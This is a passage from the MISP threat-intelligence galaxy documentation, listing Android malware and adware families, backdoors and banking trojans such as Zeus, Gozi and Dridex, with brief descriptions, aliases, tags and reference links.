https://www.symantec.com/security_response/writeup.jsp?docid=2015-121807-0203-99

Stealthgenie

Stealthgenie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Stealthgenie"*

Table 363. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111416-1306-99

Steek

Steek is a potentially unwanted application that is placed on a download website for Android applications and disguised as popular applications.

The tag is: *misp-galaxy:android="Steek"*

Table 364. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010911-3142-99

Stels

Stels is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Stels"*

Table 365. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032910-0254-99

Stiniter

Stiniter is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Stiniter"*

Table 366. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030903-5228-99

Sumzand

Sumzand is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Sumzand"*

Table 367. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080308-2851-99

Sysecsms

Sysecsms is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sysecsms"*

Table 368. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-122714-5228-99

Tanci

Tanci is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tanci"*

Table 369. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4108-99

Tapjoy

Tapjoy is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tapjoy"*

Table 370. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-4702-99

Tapsnake

Tapsnake is a Trojan horse for Android phones that is embedded into a game. It tracks the phone's location and posts it to a remote web service.

The tag is: *misp-galaxy:android="Tapsnake"*

Table 371. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-081214-2657-99

Tascudap

Tascudap is a Trojan horse for Android devices that uses the compromised device in denial of service attacks.

The tag is: *misp-galaxy:android="Tascudap"*

Table 372. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121312-4547-99

Teelog

Teelog is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Teelog"*

Table 373. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040215-2736-99

Temai

Temai is a Trojan horse for Android applications that opens a back door and downloads malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Temai"*

Table 374. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091722-4052-99

Tetus

Tetus is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Tetus"*

Table 375. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012409-4705-99

Tgpush

Tgpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tgpush"*

Table 376. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032816-0259-99

Tigerbot

Tigerbot is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Tigerbot"*

Table 377. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041010-2221-99

Tonclank

Tonclank is a Trojan horse that steals information and may open a back door on Android devices.

The tag is: *misp-galaxy:android="Tonclank"*

Table 378. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-061012-4545-99

Trogle

Trogle is a worm for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Trogle"*

Table 379. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-081213-5553-99

Twikabot

Twikabot is a Trojan horse for Android devices that attempts to steal information.

The tag is: *misp-galaxy:android="Twikabot"*

Table 380. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062614-5813-99

Uapush

Uapush is a Trojan horse for Android devices that steals information from the compromised device. It may also display advertisements and send SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Uapush"*

Table 381. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040114-2910-99

Umeng

Umeng is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Umeng"*

Table 382. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5749-99

Updtbot

Updtbot is a Trojan horse for Android devices that may arrive through SMS messages. It may then open a back door on the compromised device.

The tag is: *misp-galaxy:android="Updtbot"*

Table 383. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041611-4136-99

Upush

Upush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Upush"*

Table 384. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-0733-99

Uracto

Uracto is a Trojan horse for Android devices that steals personal information and sends spam SMS messages to contacts found on the compromised device.

The tag is: *misp-galaxy:android="Uracto"*

Table 385. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031805-2722-99

Uranico

Uranico is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Uranico"*

Table 386. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052803-3835-99

Usbcleaver

Usbcleaver is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Usbcleaver"*

Table 387. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062010-1818-99

Utchi

Utchi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Utchi"*

Table 388. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-2536-99

Uten

Uten is a Trojan horse for Android devices that may send, block, and delete SMS messages on a compromised device. It may also download and install additional applications and attempt to gain root privileges.

The tag is: *misp-galaxy:android="Uten"*

Table 389. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-092316-4752-99

Uupay

Uupay is a Trojan horse for Android devices that steals information from the compromised device. It may also download additional malware.

The tag is: *misp-galaxy:android="Uupay"*

Table 390. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061714-1550-99

Uxipp

Uxipp is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Uxipp"*

Table 391. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060910-5804-99

Vdloader

Vdloader is a Trojan horse for Android devices that opens a back door on the compromised device and steals confidential information.

The tag is: *misp-galaxy:android="Vdloader"*

Table 392. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080209-1420-99

VDopia

VDopia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="VDopia"*

Table 393. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-1559-99

Virusshield

Virusshield is a Trojan horse for Android devices that claims to scan apps and protect personal information, but has no real functionality.

The tag is: *misp-galaxy:android="Virusshield"*

Table 394. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040810-5457-99

VServ

VServ is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="VServ"*

Table 395. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-3117-99

Walkinwat

Walkinwat is a Trojan horse that steals information from the compromised device.

The tag is: *misp-galaxy:android="Walkinwat"*

Table 396. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-033008-4831-99

Waps

Waps is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Waps"*

Table 397. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040406-5437-99

Waren

Waren is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Waren"*

Table 398. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5501-99

Windseeker

Windseeker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Windseeker"*

Table 399. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101519-0720-99

Wiyun

Wiyun is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wiyun"*

Table 400. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-5646-99

Wooboo

Wooboo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wooboo"*

Table 401. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-5829-99

Wqmobile

Wqmobile is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wqmobile"*

Table 402. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4926-99

YahooAds

YahooAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="YahooAds"*

Table 403. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-3229-99

Yatoot

Yatoot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Yatoot"*

Table 404. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031408-4748-99

Yinhan

Yinhan is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Yinhan"*

Table 405. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-3350-99

Youmi

Youmi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Youmi"*

Table 406. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4318-99

YuMe

YuMe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="YuMe"*

Table 407. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-0322-99

Zeahache

Zeahache is a Trojan horse that elevates privileges on the compromised device.

The tag is: *misp-galaxy:android="Zeahache"*

Table 408. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-032309-5042-99

ZertSecurity

ZertSecurity is a Trojan horse for Android devices that steals information and sends it to a remote attacker.

The tag is: *misp-galaxy:android="ZertSecurity"*

Table 409. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-050820-4100-99

ZestAdz

ZestAdz is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ZestAdz"*

Table 410. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052616-3821-99

Zeusmitmo

Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Zeusmitmo"*

Table 411. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080818-0448-99

SLocker

The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.

The tag is: *misp-galaxy:android="SLocker"*

SLocker is also known as:

- SMSLocker

Table 412. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-ransomware-pocket-sized-badness/
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/

Loapi

A malware strain known as Loapi will damage phones if users don’t remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone’s components, which will make the battery bulge, deform the phone’s cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.

The tag is: *misp-galaxy:android="Loapi"*

Table 413. Table References

Links
https://www.bleepingcomputer.com/news/security/android-malware-will-destroy-your-phone-no-ifs-and-buts-about-it/

Podec

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

The tag is: *misp-galaxy:android="Podec"*

Table 414. Table References

Links
https://securelist.com/sms-trojan-bypasses-captcha/69169//

Chamois

Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device's app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.

The tag is: *misp-galaxy:android="Chamois"*

Table 415. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html

IcicleGum

IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library's code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.

The tag is: *misp-galaxy:android="IcicleGum"*

IcicleGum has relationships with:

- similar: misp-galaxy:android="Igexin" with estimative-language:likelihood-probability="likely"

Table 416. Table References

Links
https://blog.lookout.com/igexin-malicious-sdk
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

BreadSMS

BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user's consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.

The tag is: *misp-galaxy:android="BreadSMS"*

Table 417. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

JamSkunk

JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network’s WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.

The tag is: *misp-galaxy:android="JamSkunk"*

Table 418. Table References

Links
https://blog.fosec.vn/malicious-applications-stayed-at-google-appstore-for-months-d8834ff4de59
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

Expensive Wall

Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017. Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.

The tag is: *misp-galaxy:android="Expensive Wall"*

Table 419. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/

BambaPurple

BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.

The tag is: *misp-galaxy:android="BambaPurple"*

Table 420. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

KoreFrog

KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.

The tag is: *misp-galaxy:android="KoreFrog"*

Table 421. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

Gaiaphish

Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user’s privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)

The tag is: *misp-galaxy:android="Gaiaphish"*

Table 422. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

RedDrop

RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.

The tag is: *misp-galaxy:android="RedDrop"*

Table 423. Table References

Links
https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/

HenBox

HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi's operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The tag is: *misp-galaxy:android="HenBox"*

Table 424. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/04/unit42-henbox-inside-coop/

MysteryBot

Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.

The tag is: *misp-galaxy:android="MysteryBot"*

MysteryBot has relationships with:

- similar: misp-galaxy:malpedia="MysteryBot" with estimative-language:likelihood-probability="likely"

Table 425. Table References

Links
https://www.bleepingcomputer.com/news/security/new-mysterybot-android-malware-packs-a-banking-trojan-keylogger-and-ransomware/

Skygofree

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant's functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.

The tag is: *misp-galaxy:android="Skygofree"*

Skygofree has relationships with:

- similar: misp-galaxy:malpedia="Skygofree" with estimative-language:likelihood-probability="likely"

Table 426. Table References

Links
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

BusyGasper

A new family of spyware for Android grabbed the attention of security researchers through its unusual set of features and their original implementation. Tagged BusyGasper by security experts at Kaspersky, the malware stands out through its ability to monitor the various sensors present on the targeted phone. Based on the motion detection logs, it can recognize the opportune time for running and stopping its activity.

The tag is: *misp-galaxy:android="BusyGasper"*

Table 427. Table References

Links
https://www.bleepingcomputer.com/news/security/unsophisticated-android-spyware-monitors-device-sensors/

Triout

Bitdefender says Triout samples they discovered were masquerading in a clone of a legitimate application, but they were unable to discover where this malicious app was being distributed from. The obvious guess would be via third-party Android app stores, or app-sharing forums, popular in some areas of the globe.

The tag is: *misp-galaxy:android="Triout"*

Table 428. Table References

Links
https://www.bleepingcomputer.com/news/security/new-android-triout-malware-can-record-phone-calls-steal-pictures/

Backdoor

A list of backdoor malware..

Backdoor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

raw-data

WellMess

Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.

The tag is: *misp-galaxy:backdoor="WellMess"*

WellMess has relationships with:

- similar: misp-galaxy:malpedia="WellMess" with estimative-language:likelihood-probability="likely"

Table 429. Table References

Links
https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html

Rosenbridge

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.

While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU's memory, but its register file and execution pipeline as well.

The tag is: *misp-galaxy:backdoor="Rosenbridge"*

Table 430. Table References

Links
https://www.bleepingcomputer.com/news/security/backdoor-mechanism-discovered-in-via-c3-x86-processors/
https://github.com/xoreaxeaxeax/rosenbridge
https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Christopher%20Domas/DEFCON-26-Christopher-Domas-GOD-MODE-%20UNLOCKED-hardware-backdoors-in-x86-CPUs.pdf

Banker

A list of banker malware..

Banker is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown - raw-data

Zeus

Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.

The tag is: *misp-galaxy:banker="Zeus"*

Zeus is also known as:

- Zbot

Zeus has relationships with:

- similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 431. Table References

Links
https://usa.kaspersky.com/resource-center/threats/zeus-virus

Vawtrak

Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.

The tag is: *misp-galaxy:banker="Vawtrak"*

Vawtrak is also known as:

- Neverquest

Vawtrak has relationships with:

- similar: misp-galaxy:tool="Vawtrak" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 432. Table References

Links
https://www.kaspersky.com/blog/neverquest-trojan-built-to-steal-from-hundreds-of-banks/3247/
https://www.fidelissecurity.com/threatgeek/2016/05/vawtrak-trojan-bank-it-evolving
https://www.proofpoint.com/us/threat-insight/post/In-The-Shadows
https://www.botconf.eu/wp-content/uploads/2016/11/2016-Vawtrak-technical-report.pdf

Dridex

```
Dridex leverages redirection attacks designed to send victims to malicious replicas of
the banking sites they think they're visiting.
```

The tag is: *misp-galaxy:banker="Dridex"*

Dridex is also known as:

- Feodo Version D

Dridex has relationships with:

- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"

Table 433. Table References

Links
https://blog.malwarebytes.com/detections/trojan-dridex/
https://feodotracker.abuse.ch/

Gozi

Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010

The tag is: *misp-galaxy:banker="Gozi"*

Gozi is also known as:

- Ursnif
- CRM
- Snifula
- Papras

Gozi has relationships with:

- similar: misp-galaxy:tool="Snifula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"

Table 434. Table References

Links
https://www.secureworks.com/research/gozi
https://www.gdatasoftware.com/blog/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007
https://lokalhost.pl/gozi_tree.txt

Goziv2

Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.

The tag is: *misp-galaxy:banker="Goziv2"*

Goziv2 is also known as:

- Prinimalka

Table 435. Table References

Links
https://krebsonsecurity.com/tag/gozi-prinimalka/
https://securityintelligence.com/project-blitzkrieg-how-to-block-the-planned-prinimalka-gozi-trojan-attack/
https://lokalhost.pl/gozi_tree.txt

Gozi ISFB

Banking trojan based on Gozi source. Features include web injects for the victims' browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.

The tag is: *misp-galaxy:banker="Gozi ISFB"*

Gozi ISFB has relationships with:

- similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 436. Table References

Links
https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak
https://lokalhost.pl/gozi_tree.txt

Dreambot

Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.

The tag is: *misp-galaxy:banker="Dreambot"*

Table 437. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality
https://lokalhost.pl/gozi_tree.txt

IAP

Gozi ISFB variant

The tag is: *misp-galaxy:banker="IAP"*

IAP has relationships with:

- similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 438. Table References

Links
https://lokalhost.pl/gozi_tree.txt
http://archive.is/I7hi8#selection-217.0-217.6

GozNym

GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper's stealth and persistence; the Gozi ISFB parts add the banking Trojan's capabilities to facilitate fraud via infected Internet browsers.

The tag is: *misp-galaxy:banker="GozNym"*

Table 439. Table References

Links
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://lokalhost.pl/gozi_tree.txt

Zloader Zeus

Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Zloader Zeus"*

Zloader Zeus is also known as:

- Zeus Terdot

Zloader Zeus has relationships with:

- similar: misp-galaxy:malpedia="Zloader" with estimative-language:likelihood-probability="likely"

Table 440. Table References

Links

https://blog.threatstop.com/zloader/terdot-that-man-in-the-middle
https://www.scmagazine.com/terdot-zloaderzbot-combo-abuses-certificate-app-to-pull-off-mitm-browser-attacks/article/634443/

Zeus VM

Zeus variant that utilizes steganography in image files to retrieve configuration file.

The tag is: *misp-galaxy:banker="Zeus VM"*

Zeus VM is also known as:

- VM Zeus

Zeus VM has relationships with:

- similar: misp-galaxy:malpedia="VM Zeus" with estimative-language:likelihood-probability="likely"

Table 441. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/

Zeus Sphinx

Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.

The tag is: *misp-galaxy:banker="Zeus Sphinx"*

Zeus Sphinx has relationships with:

- similar: misp-galaxy:malpedia="Zeus Sphinx" with estimative-language:likelihood-probability="likely"

Table 442. Table References

Links
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/

Panda Banker

Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Panda Banker"*

Panda Banker is also known as:

- Zeus Panda

Table 443. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers

Zeus KINS

Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it's config in the registry.

The tag is: *misp-galaxy:banker="Zeus KINS"*

Zeus KINS is also known as:

- Kasper Internet Non-Security
- Maple

Zeus KINS has relationships with:

- similar: misp-galaxy:malpedia="KINS" with estimative-language:likelihood-probability="likely"

Table 444. Table References

Links
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/
https://github.com/nyx0/KINS

Chthonic

